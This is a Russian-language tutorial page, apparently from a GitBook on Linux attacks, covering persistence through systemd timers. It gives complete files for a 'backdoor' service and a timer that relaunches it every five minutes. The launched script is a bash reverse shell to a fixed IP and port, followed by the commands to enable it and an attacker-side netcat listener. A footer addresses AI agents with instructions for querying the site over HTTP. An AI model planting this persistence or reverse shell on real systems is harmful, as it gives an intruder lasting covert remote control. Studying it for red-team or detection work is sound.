# 06 - Systemd Timers

Это пример закрепления точно такой же как и предыдущий, но systemD службы могут запускаться и по расписанию, что гораздно удобнее. Этим мы и воспользуемся.\
Для этого нам нужно создать 3 файла:&#x20;

1. Файл службы systemD
2. Файл с расписанием для этой службы
3. Файл вредоносного скрипта

```bash
// Создаем сервис /etc/systemd/system/backdoor.service
[Unit]

Description=backdoor service

[Service]

ExecStart=/opt/backdoor.sh
```

```bash
// Создаем для сервиса таймер /etc/systemd/system/backdoor.timer
[Unit]

Description=backdoor timer

[Timer]

OnBootSec=5

OnUnitActiveSec=5m

[Install]

WantedBy=timers.target
```

```bash
// Вредоносный скрипт /opt/backdoor.sh
#!/usr/bin/bash
/bin/bash -i >& /dev/tcp/192.168.140.128/9010 0>&1
```

Перазапустим службы и включим наш таймер

```bash
//
systemctl daemon-reload
systemctl enable backdoor.timer
systemctl start backdoor.timer
systemctl list-timers 
```

```bash
// На хосте атакующего запускам netcat 
nc -lvp 9010
```

Теперь через каждые 5 минут будет стартовать наша служба, которая стартанет вредоносный скрипт, а он в свою очередь отдаст нам шел.

<figure><img src="/files/rTbJpygsgzwc1jZWrj7s" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reeves0x0.gitbook.io/linux-under-attack/persistence/06-systemd-timers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
